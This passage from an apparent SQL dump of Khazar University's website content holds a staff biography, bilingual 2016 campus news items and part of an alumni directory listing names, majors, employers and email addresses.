University of Science and Technology (NTNU))</div><div style=\"font-size:large\"><br></div><div style=\"font-size:large\">Email&nbsp;<a href=\"mailto:ikhalilova@khazar.org\">aheydarova@khazar.</a><a href=\"mailto:ikhalilova@khazar.org\">org</a>  </div><div style=\"font-size:large\">Tel +994 12 421 6335 (242)</div><div style=\"font-size:large\"><br></div><div style=\"font-size:large\"><strong>Education &amp; Academic Experience</strong></div><div style=\"font-size:large\"><strong> </strong> <br></div><div style=\"font-size:large\">Aysel Heydarova graduated from NTNU with master degree in Biotechnology in 2014. She did her first master and bachelor&nbsp;studies in Biology&nbsp;at&nbsp;Baku State University. &nbsp;</div><div style=\"font-size:large\">Currently, she is working as Research associate of \"Center for Cell Pathology Research\" Laboratory at Khazar University. At the same time, she is giving the lecture on \"Cytology\" at Biological Sciences&nbsp;Department.</div><div style=\"font-size:large\"><br></div><div style=\"font-size:large\"><strong>Selected Publications</strong></div><div style=\"font-size:large\"><strong><br></strong></div><div style=\"font-size:large\"><strong></strong>Ishita Ahuja, Nicole Marie van Dam, Per\r\nWinge, Marianne Trælnes, <strong>Aysel Heydarova</strong>,\r\nJens Rohloff, Mette Langaas, Atle Magnar Bones (2015) Plant defence responses\r\nin oilseed rape <em>MINELESS</em> plants after\r\nattack by the cabbage moth <em>Mamestra\r\nbrassicae, </em>Journal of Experimental Botany, 6<sup>th</sup> January;\r\n66(2):579-592. <a href=\"http://jxb.oxfordjournals.org/content/66/2/579\">http://jxb.oxfordjournals.org/content/66/2/579</a></div><div style=\"font-size:large\"><br></div><div style=\"font-size:large\"><a href=\"http://jxb.oxfordjournals.org/content/66/2/579\"></a><strong>Heydarova\r\nA </strong>(2014), Studying attractiveness and defense responses of <em>Brassica napus</em> transgenic <em>MINELESS</em> plants to insects for pest\r\nmanagement, Master thesis, Norwegian University of Science and Technology (NTNU),\r\nFaculty of Natural Sciences and Technology, Department of\r\nBiology/Biotechnology, 15<sup>th</sup> October, Trondheim, Norway.</div><div style=\"font-size:large\"><br></div><div style=\"font-size:large\">Ahuja I,&nbsp;Winge P, Trælnes M, <strong>Heydarova\r\nA,</strong> Rohloff J, van dam NM, Bones AM (2013)&nbsp;Activation of plant defence\r\nin Brassica napus&nbsp;L. cv. Westar and transgenic&nbsp;<em>MINELESS</em>&nbsp;plants after attack by&nbsp;<em>Mamestra brassicae</em>&nbsp;(cabbage moth),&nbsp;<strong>25<sup>th</sup> Congress\r\nof the Scandinavian Plant Physiology Society,</strong> 11-15th&nbsp;August,\r\nHelsingør, Denmark. &nbsp;</div><div style=\"font-size:large\">  <br></div><div style=\"font-size:large\">  <br></div><div style=\"font-size:medium\"><span style=\"font-size:small\"><div><p><em></em></p>\r\n</div>  <br></span></div><div><br></div>'),(2473,1480,'az','Aysel Heydarova','Aysel Heydarova',''),(2477,1498,'en','Khazar Psychological Service Center Director Participates in “Heritage and Innovation” Roundtable','On October 27, 2016, a roundtable entitled “Heritage and Innovation: continuation of Lev Vigotsky’s cultural-historical traditions” took place at Baku State University...','<p>On October 27,\r\n2016, a roundtable entitled “Heritage and Innovation: continuation of Lev\r\nVigotsky’s cultural-historical traditions” took place at Baku State University.\r\nThe event was jointly organized by Rossotrudnichestvo, Moscow State Pedagogical\r\nUniversity, Russia’s Information-Cultural Center and Baku State University.\r\nMelek Karimova, Assistant Dean of the School of Humanities and Social Sciences\r\nand Director of the Psychological Service Center, participated in the meeting.&nbsp;</p>'),(2478,1498,'az','“Xəzər”in əməkdaşı “İrs və innovasiyalar” adlı dəyirmi masada iştirak etdi','2016-cı il oktyabrın 27-də Bakı Dövlət Universitetində “İrs və innovasiyalar – Lev Vıqotskinin mədəni-tarixi ənənələrinin davamı” adlı dəyirmi masa keçirilmişdir...','<p>2016-cı il\r\noktyabrın 27-də Bakı Dövlət Universitetində “İrs və innovasiyalar – Lev\r\nVıqotskinin mədəni-tarixi ənənələrinin davamı” adlı dəyirmi masa keçirilmişdir.\r\n“Rossotrudniçestvo”, Moskva Dövlət Pedaqoji Universiteti, Rusiyanın\r\nİnformasiya-Mədəni Mərkəzi və Bakı Dövlət Universitetinin təşkilatçılığı ilə\r\nkeçirlən dəyirmi masada Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin\r\ndekan müavini, Xəzər Psixoloji Xidmət Mərkəzinin direktoru Mələk Kərimova da\r\niştirak etmişdir.</p>'),(2479,1499,'az','Xəzər Universiteti Karyera Mərkəzi “LeveLLand” Təhsil İnkişaf mərkəziylə görüş təşkil etdi','2016-cı il oktyabrın 27-də Xəzər Universiteti Karyera Mərkəzi “LevelLand” Təhsil İnkişaf Mərkəzi ilə görüş təşkil etdi. Xəzər Universitetinin tələbə və məzunlarının iştirak...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">2016-cı il oktyabrın 27-də Xəzər Universiteti\r\nKaryera Mərkəzi “LevelLand” Təhsil İnkişaf Mərkəzi ilə görüş təşkil etdi. Xəzər\r\nUniversitetinin tələbə və məzunlarının iştirak etdiyi görüşdə “LevelLand” Təhsil\r\nİnkişaf Mərkəzinin drektoru İsgəndər Ağayev mərkəzin fəaliyyəti, eyni zamanda,\r\nABŞ, İngiltərə və digər Avropa ölkələrində təqaüd və staj proqramları barədə&nbsp;\r\nməlumat verdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">Təqdimatda tələbə və məzunlar üçün nəzərdə tutulmuş\r\ndigər iş imkanlarından da söhbət açıldı. Sonda təlim iştirakçılarının sualları\r\nmərkəz rəhbərliyi və nümayəndələri tərəfindən cavablandırıldı.&nbsp;</p>'),(2480,1499,'en','Khazar University Career Center Holds Meeting with LevelLand Educational Development Center ','On October 27, 2016, the Khazar University Career Center held a meeting with LeveLLand Educational Development Center. Khazar students and alumni participated in the meeting...','<p>On October 27, 2016, the Khazar University Career\r\nCenter held a meeting with LeveLLand Educational Development Center. Khazar\r\nstudents and alumni participated in the meeting, in which Isgandar Aghayev,\r\nLevelLand Educational Development Center Director, spoke about the activities\r\nof the center as well as scholarship and internship programs in the USA, UK and\r\nother countries of Europe. </p>\r\n<p>Students were also given information about other job\r\nopportunities. Then a question-and-answer session was held.&nbsp;</p>'),(2481,1501,'az','Əlilliklə bağlı məqalə yarışması keçiriləcək','2016-cı il dekabrın 3-də Xəzər Psixoloji Xidmət Mərkəzi və Əlillər üçün Mərkəz əlilliklə bağlı tədbir keçirəcək. Bu məqsədlə əlilliklə bağlı məqalə yarışması elan edilmişdir...','<p>2016-cı il dekabrın 3-də Xəzər Psixoloji Xidmət Mərkəzi\r\nvə Əlillər üçün Mərkəz əlilliklə bağlı tədbir keçirəcək. Bu məqsədlə əlilliklə\r\nbağlı məqalə yarışması elan edilmişdir. </p>\r\n<p>Bu ciddi məsələyə heç kimin biganə qalmaması xahiş\r\nolunur.&nbsp;</p>'),(2482,1501,'en','Writing Competition about Disabilities','On December 3, 2016, Khazar University Psychological Services Center and Center for Students with Disabilities will hold an event related to disabilities. In connection to the event...','<p>On December 3,\r\n2016, Khazar University Psychological Services Center and Center for Students\r\nwith Disabilities will hold an event related to disabilities. In connection to\r\nthe event, they have announced an essay contest to raise awareness about this\r\nimportant issue. </p>\r\n<p>Please see the\r\nattached poster for details.</p>'),(2483,1502,'az','“Xəzər”in əməkdaşları Elmin İnkişafı Fondundan qrant qazandılar','Xəzər Universitetinin əməkdaşları Azərbaycan Respublikası Prezidenti yanında Elmin İnkişafı Fondu tərəfindən 2015-ci ildə elan edilmiş (EİF-KETPL-2015-1(25)) “Kompleks Elmi-Tədqiqat...','<p>Xəzər\r\nUniversitetinin əməkdaşları Azərbaycan Respublikası Prezidenti yanında Elmin\r\nİnkişafı Fondu tərəfindən 2015-ci ildə elan edilmiş (EİF-KETPL-2015-1(25))\r\n“Kompleks Elmi-Tədqiqat Proqramları üzrə layihələr” Qrant proqramı müsabiqəsinin\r\nqalibi olmuşlar. Qrant “İslanma qabiliyyətinin dəyişməsinin nəzəri və\r\neksperimental tədqiqi və onun karbohidrogen hasilatına mümkün təsiri” mövzusuna\r\nhəsr edilmişdir və 24 ay müddətində yerinə yetiriləcək. Layihənin rəhbəri\r\nNeft-qaz mühəndisliyi departamentinin müdiri Qəşəm Zeynalovdur. Xəzər\r\nUniversitetinin Neft-qaz mühəndisliyi departamentinin müəllimi və yeni\r\ndoktorantı İzat Şahsenov, Elektronika və telekommunikasiya departamentinin\r\nmüdiri Nuru Səfərov və Tədris işləri üzrə prorektor, professor Məhəmməd Nuriyev\r\ndə layihənin içraçılarıdır. Qrant layihəsində, həmçinin, AMEA Neft və Qaz\r\nİnstitutu , Azərbaycan Dövlət Neft və Sənaye Universiteti, Bakı Ali Neft Məktəbi,\r\nAzərbaycan Neft Mühəndisləri Cəmiyyətinin əməkdaşları da iştirak edəcəklər. </p>\r\n<p>Qrant\r\nmüsabiqəsinin nəticələri haqqında geniş məlumatı aşağıdakı linklərdən əldə etmək\r\nolar:</p>\r\n<p><a href=\"http://sdf.gov.az/development/uploads/cari_qrant/elan_siyahi_-ketpl-2.pdf\">http://sdf.gov.az/development/uploads/cari_qrant/elan_siyahi_-ketpl-2.pdf</a>;</p>\r\n<p><a href=\"http://sdf.gov.az/development/uploads/cari_qrant/press-reliz_-_neticeler_ketpl-2.pdf\">http://sdf.gov.az/development/uploads/cari_qrant/press-reliz_-_neticeler_ketpl-2.pdf</a>;</p>\r\n<p><a href=\"http://sdf.gov.az/development/uploads/cari_qrant/elan_netice_-ketpl-2.pdf\">http://sdf.gov.az/development/uploads/cari_qrant/elan_netice_-ketpl-2.pdf</a>.</p>'),(2484,1502,'en','Khazar Faculty Members Win Grant from Science Development Foundation','Khazar University faculty members submitted a grant proposal to the 2015 call for proposals (EİF-KETPL-2015-1(25)) for “Projects on Complex Scientific Research Programs” by the...','<p>Khazar University\r\nfaculty members submitted a grant proposal to the 2015 call for proposals\r\n(EİF-KETPL-2015-1(25)) for “Projects on Complex Scientific Research Programs”\r\nby the Science Development Foundation under the President of the Republic of\r\nAzerbaijan, and their grant was selected for funding. </p>\r\n<p>The grant proposal is\r\nentitled “Theoretical and Experimental Investigations of Wettability Alteration\r\nand its Potential Impact on Hydrocarbon Recovery.” It will be implemented over\r\n24 months. The grant coordinator is Associate Professor Gasham Zeynalov, Head\r\nof the Department of Petroleum Engineering. The project team also includes\r\nProfessor Mahammad Nuriyev, Vice President of Khazar University for Academic\r\nAffairs; Dr. Nuru Safarov, Head of the Department of Electronics,\r\nTelecommunications and Radio Engineering; and Izat Shahsanov, instructor and\r\nPhD student of the Department of Petroleum Engineering. Other project partners\r\ninclude the Oil and Gas Institute of Azerbaijan National Academy of Sciences,\r\nAzerbaijan State Oil and Industrial University; Baku Higher Oil School; and\r\nAzerbaijan Society of Petroleum Engineers. </p>\r\n<p>More detailed\r\ninformation about the grant is available at the following links: </p>\r\n<p><a href=\"http://sdf.gov.az/development/uploads/cari_qrant/elan_siyahi_-ketpl-2.pdf\">http://sdf.gov.az/development/uploads/cari_qrant/elan_siyahi_-ketpl-2.pdf</a>;</p>\r\n<p><a href=\"http://sdf.gov.az/development/uploads/cari_qrant/press-reliz_-_neticeler_ketpl-2.pdf\">http://sdf.gov.az/development/uploads/cari_qrant/press-reliz_-_neticeler_ketpl-2.pdf</a>;</p>\r\n<p><a href=\"http://sdf.gov.az/development/uploads/cari_qrant/elan_netice_-ketpl-2.pdf\">http://sdf.gov.az/development/uploads/cari_qrant/elan_netice_-ketpl-2.pdf</a>.</p>'),(2501,1512,'az','“Xəzər”in məzunu təlim keçirəcək','2016-cı il noyabrın  5-i saat 10:30-da Gənclər və İdman Nazirliyi və Azərbaycan Respublikası Gənclər Təşkilatları Milli Şurası tərəfindən həyata keçirilən...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il\r\nnoyabrın&nbsp; 5-i saat 10:30-da Gənclər və İdman Nazirliyi və Azərbaycan\r\nRespublikası Gənclər Təşkilatları Milli Şurası tərəfindən həyata keçirilən “QHT\r\nİdarəetmə Akademiyası” (QİDA) &nbsp;çərçivəsində&nbsp;“Təsirli nitq” adlı təlim\r\nkeçiriləcək. Təlimi Xəzər Univeristetinin məzunu Cəlalə Nəzəroğlu aparacaq.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Bu haqda daha geniş məlumatı bu link\r\nvasitəsilə əldə etmək olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://www.hamar.az/?p=38734\">http://www.hamar.az/?p=38734</a>.&nbsp;</p>'),(2496,1509,'en','Dunya School Trip to Egyptian Cultural Center in the Media','The Eurasiadiary.az news site published an article about the field trip of instructors and students from Khazar University’s affiliate Dunya School to the Cultural Center of the Embassy...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The<strong><em>\r\nEurasiadiary.az </em></strong>news site published an article about the field trip of\r\ninstructors and students from Khazar University’s affiliate Dunya School to the\r\nCultural Center of the Embassy of the Arab Republic of Egyptian to Azerbaijan. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The\r\nfull text of the article is available at the following link: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://eurasiadiary.az/news/culture/81456-xezer-universitetinin-dunya-mektebinin-muellim-ve-sagirdleri-misir-medeniyyet-ve-tehsil-elaqeleri-merkezinde-olub\">http://eurasiadiary.az/news/culture/81456-xezer-universitetinin-dunya-mektebinin-muellim-ve-sagirdleri-misir-medeniyyet-ve-tehsil-elaqeleri-merkezinde-olub</a>.&nbsp;</p>'),(2523,1522,'en','Nasiman Yagublu Participates in International Prometheanism Conference in Warsaw','On October 23-28, 2016, the VII International Prometheanism Conference was held in Warsaw, Poland. Dr. Nasiman Yagublu, instructor for the History and Archeology Department of Khazar...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On October 23-28, 2016, the VII\r\nInternational Prometheanism Conference was held in Warsaw, Poland. Dr. Nasiman\r\nYagublu, instructor for the History and Archeology Department of Khazar\r\nUniversity, participated in the conference. Other participants included\r\nscholars from the USA, Poland, Ukraine and Kazakhstan. Nasiman Yagublu made a\r\npresentation on “Press Organs of the Caucasus Migrants.” His paper will be\r\nprinted in the New Prometheanism Journal published by the University of Warsaw.\r\nNasiman Yagublu is also an editorial board member of the New Prometheanism\r\nJournal.&nbsp;</p>'),(2524,1523,'az','“Xəzər”in müəlliminin təşəbbüsü ilə “Məmməd Araz Poeziya günü” keçrildi','2016-cı il oktyabrın 14-də Azərbaycan Yazıçılar Birliyinin “Natəvan” klubunda Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Qardaşxan Əzizxanlının...','<p>2016-cı il oktyabrın\r\n14-də Azərbaycan Yazıçılar Birliyinin “Natəvan”\r\nklubunda Xəzər\r\nUniversitetinin Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Qardaşxan\r\nƏzizxanlının təşəbbüsü və təşkilatçılığı ilə respublikada ilk dəfə olaraq, “Məmməd Araz\r\nPoeziya günü” keçrildi. Mərasimdə Məmməd Araz yaradıcılığını sevənlər, eləcə də,\r\nAzərbaycanın ziyalı şəxsləri şair Musa Yaqub, BDU-nun professoru Cahangir Məmmədli,\r\nAfaq Məsud, İlqar Fəhmi və digərləri iştirak edirdilər. Gələn qonaqlar şairin\r\nyaradıcılığı haqqında danışdılar və öz xatirələrini bölüşdülər.</p>'),(2525,1523,'en','Khazar Instructor Initiates Mammad Araz Poetry Day','On October 14, 2016, the first-ever in the country “Mammad Araz Poetry Day” was held in the Natavan Club of the Azerbaijan Writers’ Union upon the initiative of Gardashkhan Azizkhanli...','<p>On October 14,\r\n2016, the first-ever in the country “Mammad Araz Poetry Day” was held in the\r\nNatavan Club of the Azerbaijan Writers’ Union upon the initiative of\r\nGardashkhan Azizkhanli, instructor of Khazar University’s Department of\r\nAzerbaijani Language and Literature. Participants in the event included fans of\r\nMammad Araz’s poetry, including Azerbaijani intellectuals such as poet Musa\r\nYagub, Baku State University Professor Jahangir Mammadli, Afag Mesud, Ilgar\r\nFehmi and others. Guests at the event spoke about Araz’s poetry and shared\r\ntheir memories of him.&nbsp;</p>'),(2608,1567,'az','Xəzər Universitetinin müəlliminin məqaləsi çap olundu','2016-cı ilin noyabrında Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Qardaşxan Əzizxanlının “XX əsrin ikinci yarısında Azərbaycan vətəndaşlıq lirikasında...','<p>2016-cı ilin noyabrında Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı\r\ndepartamentinin müəllimi Qardaşxan Əzizxanlının “XX əsrin\r\nikinci yarısında Azərbaycan vətəndaşlıq lirikasında sosial içərik” adlı məqaləsi\r\nAMEA M.Füzuli adına Əlyazmalar İnstitutunun nəşri olan “Filologiya məsələləri”\r\njurnalının 8-ci sayında çap olunmuşdur. Məqalədə,\r\nhəmçinin, xalqın mənəvi deqradasiyasının qarşısının alınmasında, milli-mənəvi\r\nbirliyinin qorunub-saxlanmasında, bütövlükdə milli məfkurənin formalaşmasında\r\nM.Araz, S.Tahir və M.İsmayılın yaradıcılığının oynadığı məxsusi rola diqqət yönəldilir.&nbsp;</p>'),(2537,1531,'en','First-year Students Visit Gala Archeological/Ethnographic Museum Complex','On November 1, 2016, as organized by Associate Professor Roza Arazova, Head of the Department of History and Archeology, and instructor Orkhan Zamanov, first-year students of the...','<p>On\r\nNovember 1, 2016, as organized by Associate Professor Roza Arazova, Head of the\r\nDepartment of History and Archeology, and instructor Orkhan Zamanov, first-year\r\nstudents of the Department took a field trip to Gala Archeological/Ethnographic\r\nMuseum Complex. </p>\r\n<p>The\r\nmuseum guides gave the students interesting information. It was the first time\r\nmany of the students had been to the museum. </p>\r\n<p>First\r\nthe students took a tour of the museum and its exhibits, which are located\r\noutdoors. Then they visited the Antiques Museum and Gala Castle, and they were\r\ngiven an assignment to present what they had learned from the museum.&nbsp;</p>'),(2530,1526,'az','İqtisadiyyat və Menecment Fakültəsi','İqtisadiyyat və Menecment Fakültəsi','<p><a href=\"#A\">A</a> <a href=\"#B\">B</a> <a href=\"#C\">C</a> <a href=\"#D\">D</a> <a href=\"#E\"> E</a> <a href=\"#Ə\"> Ə</a> <a href=\"#F\">F</a> <a href=\"#G\">G</a> <a href=\"#H\">H</a> <a href=\"#X\">X</a> <a href=\"#İ\">İ</a> <a href=\"#K\">K</a>  <a href=\"#Q\">Q</a> <a href=\"#L\">L</a> <a href=\"#M \">M </a> <a href=\"#N\">N</a> <a href=\"#O\">O</a> <a href=\"#P\">P</a> <a href=\"#R\">R</a> <a href=\"#S \">S </a> <a href=\"#Ş \">Ş </a> <a href=\"#T \">T </a> <a href=\"#U \">U </a> <a href=\"#Ü \">Ü </a> <a href=\"#V\">V</a> <a href=\"#Y\">Y</a> <a href=\"#Z\">Z</a></p><h3 id=\"A\">A</h3><p><strong>Aysel&nbsp; Məsiyeva <o:p></o:p></strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail:<a href=\"mailto:aysel.mesiyeva@gmail.com\">aysel.mesiyeva[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Aqil Nəsibli </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Mühasibat\r\nuçotu və audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:aqilnesib@gmail.com\">aqilnesib[at]gmail.com</a></p>\r\n<p>\" Passage 1901\" Restaurant Bas Buxalter&nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Ayşən Əmrahlı </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>İqtisadiyyat, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ayshenemrahli@gmail.com\">ayshenemrahli[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Aişə İmanova </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Marketinq, 2017</p>\r\n<p>E-mail: <a href=\"mailto:aisaaliyeva1994@gmail.com\">aisaaliyeva1994[at]gmail.com</a></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Aydan Əzizova</strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail:<a href=\"mailto:a_aydan_96@mail.ru\">a_aydan_96[at]mail.ru</a></p>\r\n<p>Sinteks MMC&nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Azər Abbaslı </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Mühasibat\r\nuçotu və audit, 2017</p>\r\n<p>E-mail:<a href=\"mailto:azerkhazar@gmail.com\">azerkhazar[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Aidə Nemətli</strong></p><p>İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p>Mühasibat\r\nuçotu və audit, 2017</p>\r\n<p>E-mail:<a href=\"mailto:aida_neymetli@mail.ru\">aida_neymetli[at]mail.ru</a> </p>\r\n<p><strong><br></strong></p><p><strong>Aqil Atayev </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>İqtisadiyyat,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:atayev007@hotmail.com\">atayev007[at]hotmail.com</a> </p>\r\n<p><strong><br></strong></p><p><strong>Anar Əliyev </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Biznesin idarə edilməsi, 2017</p>\r\n<p>E-mail: <a href=\"mailto:tulkas94@mail.ru\">tulkas94[at]mail.ru</a> </p>\r\n<p><strong><br></strong></p><p><strong>Anar Məmmədov </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:mamedov.anar1993@gmail.com\">mamedov.anar1993[at]gmail.com</a></p>\r\n<p>Azərbaycan Sənaye Bankı</p>\r\n<p><strong><br></strong></p><p><strong>Ayaz Babayev </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Marketiq,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:babayev_ayaz-ceyhunoglu@mail.ru\">babayev_ayaz-ceyhunoglu[at]mail.ru</a> </p>\r\n<p><strong><br></strong></p><p><strong>Ahmadi Ghulam </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə Menecmenti, 2017</p>\r\n<p>E-mail: <a href=\"mailto:dastagir.ahmadi@gmail.com\">dastagir.ahmadi[at]gmail.com</a> &nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Aysu Cəbrayılova </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Xarici İqtisadi Fəaliyyət, 2017</p>\r\n<p>E-mail:<a href=\"mailto:ajabrayilova@gmail.com\">ajabrayilova[at]gmail.com</a>&nbsp;&nbsp; </p>\r\n<p>&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aysel&nbsp;Cümşüdova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq iqtisadi münasibətlər</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Saipem Asia, Baş mühasib</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:aysel.jumshudova@saipem.eni.it\">aysel.jumshudova@saipem.eni.it</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><strong>Aysel Quluyeva</strong><br><p>İqtisadiyyat və Menecment Fakültəsi ,&nbsp;Biznesin Təşkili və&nbsp;İdarəedilməsi  </p><p>Azərbaycan Respublikası Maliyyə Nazirliyinin Dövlət Xəzinədarlığı\r\nAgentliyinin Xəzinədarlığın İdarəedilməsinin İnformasiya Sisteminə dəstək\r\nsektoru, Baş məsləhətçi  </p><p>Email:&nbsp;<a href=\"mailto:ayselguluyeva@gmail.com\">ayselguluyeva@gmail.com</a>  <br></p><p>Bakalavr   2016 (Fərqlənmə)  &nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Adil Axundov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi,&nbsp;Maliyyə və kredit&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Crystal Motors, Satish meneceri</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:akhoundov@hotmail.fr\">akhoundov@hotmail.fr</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Asim Mikayılov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq iqtisadi münasibətlər</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Quba Engine Ltd, Baş satış təmsilçisi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:mixaylo_87@mail.ru\">mixaylo_87@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:mixaylo_87@mail.ru\"></a>Bakalavr 2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aynur Quluyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aydan Rəhimova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Unibank</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:a_raqimova@hotmail.com\">a_raqimova@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aysel Ağayeva</strong>&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və İdarəedilməsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Finance Corporation (IFC), Team assistant</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:aaghayeva@gmail.com\">aaghayeva@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Afaq Qəhrəmanova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və&nbsp;İdarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:afaq.q.@rambler.ru\">afaq.q.@rambler.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p><strong>Aynurə Ələkbərova&nbsp;</strong></p><p>Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;</p><p>E-mail:&nbsp;<a 